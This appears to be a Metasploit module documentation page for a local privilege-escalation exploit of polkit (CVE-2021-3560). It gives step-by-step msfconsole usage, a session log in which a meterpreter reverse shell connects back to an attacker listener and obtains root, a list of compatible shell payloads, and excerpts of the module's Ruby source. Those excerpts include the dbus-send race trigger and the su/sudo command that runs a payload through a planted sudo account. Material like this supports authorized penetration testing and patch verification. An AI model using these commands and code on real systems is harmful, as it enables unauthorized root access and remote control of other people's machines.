Polkit D-Bus Authentication Bypass - Metasploit
This page contains detailed information about how to use the exploit/linux/local/polkit_dbus_auth_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Polkit D-Bus Authentication Bypass
Module: exploit/linux/local/polkit_dbus_auth_bypass
Source code: modules/exploits/linux/local/polkit_dbus_auth_bypass.rb
Disclosure date: 2021-06-03
Last modification time: 2022-10-08 09:50:25 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-3560
A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a method over D-Bus and kills the client process. This will occasionally cause the operation to complete without being subjected to all of the necessary authentication. The exploit module leverages this to add a new user with a sudo access and a known password. The new account is then leveraged to execute a payload with root privileges.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- config-changes: Module modifies some configuration setting on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- screen-effects: Module may show something on the screen (Example: a window pops up).
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/polkit_dbus_auth_bypass
msf exploit(polkit_dbus_auth_bypass) > show targets
... a list of targets ...
msf exploit(polkit_dbus_auth_bypass) > set TARGET target-id
msf exploit(polkit_dbus_auth_bypass) > show options
... show and set options ...
msf exploit(polkit_dbus_auth_bypass) > set SESSION session-id
msf exploit(polkit_dbus_auth_bypass) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module exploits a authentication bypass in Linux machines that make use of the polkit system service. The vulnerability enables an unprivileged local user to get a root shell on the system.
This exploit needs be run from an SSH or non-graphical session. The dbus-send
command which is used to trigger the exploit,
launches an authentication agent. When run from a graphical session, an authentication agent pops up in the form of a
dialog box and waits for user input. This dialog box will cause the dbus-command to time out waiting for user input and
will prevent successful exploitation of polkit
If systemd
is installed on the system the session service type can be checked by running: loginctl session-status
.
The following output (x11) indicates a graphical session is being run and the exploit will not work:
Service: gdm-password; type x11; class user
The following output (tty) indicates a non-graphic session is being used and the exploit is likely to be successful:
Service: sshd; type tty; class user
Vulnerable Application
This module has been tested successfully on:
- Ubuntu 20.04
Installation And Setup
Download and install Ubuntu 20.04 from the Ubuntu Downloads page: https://ubuntu.com/download/desktop
Verification Steps
- Start msfconsole.
- Get a session.
- Do:
use exploit/linux/local/polkit_dbus_auth_bypass
. - Set the
SESSION
to the session obtained in step 2. - Set the
LHOST
,LPORT
andPAYLOAD
options as appropriate. - Do:
run
. - It is possible for the exploit to fail. If this happens, increase the value of the ITERATIONS option to attempt the exploit more times before failing and attempt the exploit again.
- Enjoy the shell.
Options
SESSION The session to run this module on.
USERNAME The name of the user the exploit will add to the system
PASSWORD The password for the user to be created
WritableDir
Directory to write file to (%TEMP%
by default).
Scenarios
Tested on Ubuntu 20.04
msf6 > use multi/handler
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.146:49882) at 2021-06-25 17:54:45 -0400
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use polkit_dbus
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/local/polkit_dbus_auth_bypass 2021-06-03 excellent Yes Polkit Authentication Bypass
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/local/polkit_dbus_auth_bypass
[*] Using exploit/linux/local/polkit_dbus_auth_bypass
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set lport 4443
lport => 4443
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > set session 1
session => 1
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > run
[*] Started reverse TCP handler on 192.168.123.1:4443
[*] Executing automatic check (disable AutoCheck to override)
[*] Checking for exploitability via attempt
[+] The target is vulnerable. The polkit framework instance is vulnerable.
[*] Attempting to create user msf
[+] User msf created with UID 1019
[*] Attempting to set the password of the newly create user, msf, to: NpJsQSti
[+] Obtained code execution as root!
[*] Writing '/tmp/vOWnn' (207 bytes) ...
[*] Sending stage (984904 bytes) to 192.168.123.146
[+] Deleted /tmp/vOWnn
[*] Meterpreter session 2 opened (192.168.123.1:4443 -> 192.168.123.146:42066) at 2021-06-25 17:55:27 -0400
[*] Attempting to remove the user added:
[+] Successfully removed msf
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 192.168.123.146
OS : Ubuntu 20.04 (Linux 5.8.0-55-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
Go back to menu.
Msfconsole Usage
Here is how the linux/local/polkit_dbus_auth_bypass exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/polkit_dbus_auth_bypass
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show info
Name: Polkit D-Bus Authentication Bypass
Module: exploit/linux/local/polkit_dbus_auth_bypass
Platform: Unix, Linux
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-06-03
Provided by:
Kevin Backhouse
Spencer McIntyre
jheysel-r7
Module side effects:
artifacts-on-disk
config-changes
ioc-in-logs
screen-effects
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ITERATIONS 20 yes Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted
PASSWORD XOCW4oGS yes A password to add for the user (default: random)
SESSION yes The session to run this module on.
TIMEOUT 30 yes The maximum time in seconds to wait for each request to finish
USERNAME msf yes A username to add as root
Payload information:
Description:
A vulnerability exists within the polkit system service that can be
leveraged by a local, unprivileged attacker to perform privileged
operations. In order to leverage the vulnerability, the attacker
invokes a method over D-Bus and kills the client process. This will
occasionally cause the operation to complete without being subjected
to all of the necessary authentication. The exploit module leverages
this to add a new user with a sudo access and a known password. The
new account is then leveraged to execute a payload with root
privileges.
References:
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://nvd.nist.gov/vuln/detail/CVE-2021-3560
https://www.exploit-db.com/exploits/50011
Module Options
This is a complete list of options available in the linux/local/polkit_dbus_auth_bypass exploit:
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show options
Module options (exploit/linux/local/polkit_dbus_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
ITERATIONS 20 yes Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted
PASSWORD XOCW4oGS yes A password to add for the user (default: random)
SESSION yes The session to run this module on.
TIMEOUT 30 yes The maximum time in seconds to wait for each request to finish
USERNAME msf yes A username to add as root
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/polkit_dbus_auth_bypass exploit:
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show advanced
Module advanced options (exploit/linux/local/polkit_dbus_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/polkit_dbus_auth_bypass module can exploit:
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/polkit_dbus_auth_bypass exploit:
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/polkit_dbus_auth_bypass exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/polkit_dbus_auth_bypass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: <TIME_COMMAND>
- The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.
- TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.
- The polkit framework is not installed.
- The dbus-send command is not accessible, however the polkit framework is installed.
- Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.
- Detected polkit framework version <POLKIT_VERSION>.
- The polkit framework instance is vulnerable.
- Failed to restore the root user's original 'RealName' property value
- Fedora version <DISTRO_VERSION> is not affected (too old).
- Fedora version <DISTRO_VERSION> is affected.
- Fedora version <DISTRO_VERSION> is not affected.
- Version <CURRENT_VERSION_STRING> is affected.
- Version <CURRENT_VERSION_STRING> is not affected.
- Version <CURRENT_VERSION_STRING> is not affected (too old, the vulnerability was introduced in 0.105-26).
- Ubuntu 19.10 is affected.
- Version <CURRENT_VERSION_STRING> is affected.
- Version <CURRENT_VERSION_STRING> is not affected.
- Failed to find the su command which this exploit depends on.
- Failed to find the dbus-send command which this exploit depends on.
- TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.
- Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.
- The user <USERNAME> was unable to be created. Try increasing the ITERATIONS amount.
- Attempted to set the password <ITERATIONS> times, did not work.
- Unable to remove user: <USERNAME>, created during the running of this module
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: <TIME_COMMAND>
Here is a relevant code snippet related to the "Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: <TIME_COMMAND>" error message:
109: def get_cmd_delay
110: user = rand_text_alphanumeric(8)
111: time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
112: time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
113: unless time && time[1]
114: print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
115: return nil
116: end
117:
118: time_in_seconds = time[1].to_f
119: # The dbus-send command timeout is implementation-defined, typically 25 seconds
The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.
Here is a relevant code snippet related to the "The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information." error message:
117:
118: time_in_seconds = time[1].to_f
119: # The dbus-send command timeout is implementation-defined, typically 25 seconds
120: # https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
121: if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
122: print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
123: return nil
124: end
125: time_in_seconds / 2
126: end
127:
TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.
Here is a relevant code snippet related to the "TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not." error message:
125: time_in_seconds / 2
126: end
127:
128: def check
129: if datastore['TIMEOUT'] < 26
130: return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
131: end
132:
133: unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
134: return CheckCode::Safe('The polkit framework is not installed.')
135: end
The polkit framework is not installed.
Here is a relevant code snippet related to the "The polkit framework is not installed." error message:
129: if datastore['TIMEOUT'] < 26
130: return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
131: end
132:
133: unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
134: return CheckCode::Safe('The polkit framework is not installed.')
135: end
136:
137: # The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
138: # do that, the distro specific package manager would need to be queried. See #check_via_version.
139: polkit_version = Rex::Version.new(Regexp.last_match(1))
The dbus-send command is not accessible, however the polkit framework is installed.
Here is a relevant code snippet related to the "The dbus-send command is not accessible, however the polkit framework is installed." error message:
137: # The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
138: # do that, the distro specific package manager would need to be queried. See #check_via_version.
139: polkit_version = Rex::Version.new(Regexp.last_match(1))
140:
141: unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/
142: return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
143: end
144:
145: # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
146: @cmd_delay = get_cmd_delay
147: return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.
Here is a relevant code snippet related to the "Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target." error message:
142: return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
143: end
144:
145: # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
146: @cmd_delay = get_cmd_delay
147: return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
148:
149: status = nil
150: print_status('Checking for exploitability via attempt')
151: status ||= check_via_attempt
152: print_status('Checking for exploitability via version') unless status
Detected polkit framework version <POLKIT_VERSION>.
Here is a relevant code snippet related to the "Detected polkit framework version <POLKIT_VERSION>." error message:
149: status = nil
150: print_status('Checking for exploitability via attempt')
151: status ||= check_via_attempt
152: print_status('Checking for exploitability via version') unless status
153: status ||= check_via_version
154: status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.")
155:
156: status
157: end
158:
159: def check_via_attempt
The polkit framework instance is vulnerable.
Here is a relevant code snippet related to the "The polkit framework instance is vulnerable." error message:
166: # random string before restoring it.
167: result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')
168: if result =~ /variant\s+string\s+"(.*)"/
169: old_realname = Regexp.last_match(1)
170: if exploit_set_realname(rand_text_alphanumeric(12))
171: status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
172: unless exploit_set_realname(old_realname)
173: print_error('Failed to restore the root user\'s original \'RealName\' property value')
174: end
175: end
176: end
Failed to restore the root user's original 'RealName' property value
Here is a relevant code snippet related to the "Failed to restore the root user's original 'RealName' property value" error message:
168: if result =~ /variant\s+string\s+"(.*)"/
169: old_realname = Regexp.last_match(1)
170: if exploit_set_realname(rand_text_alphanumeric(12))
171: status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
172: unless exploit_set_realname(old_realname)
173: print_error('Failed to restore the root user\'s original \'RealName\' property value')
174: end
175: end
176: end
177:
178: status
Fedora version <DISTRO_VERSION> is not affected (too old).
Here is a relevant code snippet related to the "Fedora version <DISTRO_VERSION> is not affected (too old)." error message:
183: case sysinfo[:distro]
184: when 'fedora'
185: if sysinfo[:version] =~ /Fedora( release)? (\d+)/
186: distro_version = Regexp.last_match(2).to_i
187: if distro_version < 20
188: return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
189: elsif distro_version < 33
190: return CheckCode::Appears("Fedora version #{distro_version} is affected.")
191: elsif distro_version == 33
192: # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
193: patched_version_string = '0.117-2.fc33.1'
Fedora version <DISTRO_VERSION> is affected.
Here is a relevant code snippet related to the "Fedora version <DISTRO_VERSION> is affected." error message:
185: if sysinfo[:version] =~ /Fedora( release)? (\d+)/
186: distro_version = Regexp.last_match(2).to_i
187: if distro_version < 20
188: return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
189: elsif distro_version < 33
190: return CheckCode::Appears("Fedora version #{distro_version} is affected.")
191: elsif distro_version == 33
192: # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
193: patched_version_string = '0.117-2.fc33.1'
194: elsif distro_version == 34
195: # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b
Fedora version <DISTRO_VERSION> is not affected.
Here is a relevant code snippet related to the "Fedora version <DISTRO_VERSION> is not affected." error message:
193: patched_version_string = '0.117-2.fc33.1'
194: elsif distro_version == 34
195: # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b
196: patched_version_string = '0.117-3.fc34.1'
197: elsif distro_version > 34
198: return CheckCode::Safe("Fedora version #{distro_version} is not affected.")
199: end
200:
201: result = cmd_exec('dnf list installed "polkit.*"')
202: if result =~ /polkit\.\S+\s+(\d\S+)\s+/
203: current_version_string = Regexp.last_match(1)
Version <CURRENT_VERSION_STRING> is affected.
Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is affected." error message:
200:
201: result = cmd_exec('dnf list installed "polkit.*"')
202: if result =~ /polkit\.\S+\s+(\d\S+)\s+/
203: current_version_string = Regexp.last_match(1)
204: if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
205: return CheckCode::Appears("Version #{current_version_string} is affected.")
206: else
207: return CheckCode::Safe("Version #{current_version_string} is not affected.")
208: end
209: end
210: end
Version <CURRENT_VERSION_STRING> is not affected.
Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is not affected." error message:
202: if result =~ /polkit\.\S+\s+(\d\S+)\s+/
203: current_version_string = Regexp.last_match(1)
204: if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
205: return CheckCode::Appears("Version #{current_version_string} is affected.")
206: else
207: return CheckCode::Safe("Version #{current_version_string} is not affected.")
208: end
209: end
210: end
211: when 'ubuntu'
212: result = cmd_exec('apt-cache policy policykit-1')
Version <CURRENT_VERSION_STRING> is not affected (too old, the vulnerability was introduced in 0.105-26).
Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is not affected (too old, the vulnerability was introduced in 0.105-26)." error message:
214: current_version_string = Regexp.last_match(1)
215: current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.'))
216:
217: if current_version < Rex::Version.new('0.105-26')
218: # The vulnerability was introduced in 0.105-26
219: return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).")
220: end
221:
222: # See: https://ubuntu.com/security/notices/USN-4980-1
223: # The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place.
224: case sysinfo[:version]
Ubuntu 19.10 is affected.
Here is a relevant code snippet related to the "Ubuntu 19.10 is affected." error message:
227: when /20\.10/
228: patched_version_string = '0.105-29ubuntu0.1'
229: when /20\.04/
230: patched_version_string = '0.105-26ubuntu1.1'
231: when /19\.10/
232: return CheckCode::Appears('Ubuntu 19.10 is affected.')
233: end
234: # Ubuntu 19.04 and older are *not* affected
235:
236: if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
237: return CheckCode::Appears("Version #{current_version_string} is affected.")
Version <CURRENT_VERSION_STRING> is affected.
Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is affected." error message:
232: return CheckCode::Appears('Ubuntu 19.10 is affected.')
233: end
234: # Ubuntu 19.04 and older are *not* affected
235:
236: if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
237: return CheckCode::Appears("Version #{current_version_string} is affected.")
238: end
239:
240: return CheckCode::Safe("Version #{current_version_string} is not affected.")
241: end
242: end
Version <CURRENT_VERSION_STRING> is not affected.
Here is a relevant code snippet related to the "Version <CURRENT_VERSION_STRING> is not affected." error message:
235:
236: if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
237: return CheckCode::Appears("Version #{current_version_string} is affected.")
238: end
239:
240: return CheckCode::Safe("Version #{current_version_string} is not affected.")
241: end
242: end
243: end
244:
245: def cmd_exec(*args)
Failed to find the su command which this exploit depends on.
Here is a relevant code snippet related to the "Failed to find the su command which this exploit depends on." error message:
367: def execute_payload(fname)
368: cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
369: end
370:
371: def exploit
372: fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
373: fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
374: if datastore['TIMEOUT'] < 26
375: fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
376: end
377:
Failed to find the dbus-send command which this exploit depends on.
Here is a relevant code snippet related to the "Failed to find the dbus-send command which this exploit depends on." error message:
368: cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
369: end
370:
371: def exploit
372: fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
373: fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
374: if datastore['TIMEOUT'] < 26
375: fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
376: end
377:
378: if @cmd_delay.nil?
TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.
Here is a relevant code snippet related to the "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not." error message:
370:
371: def exploit
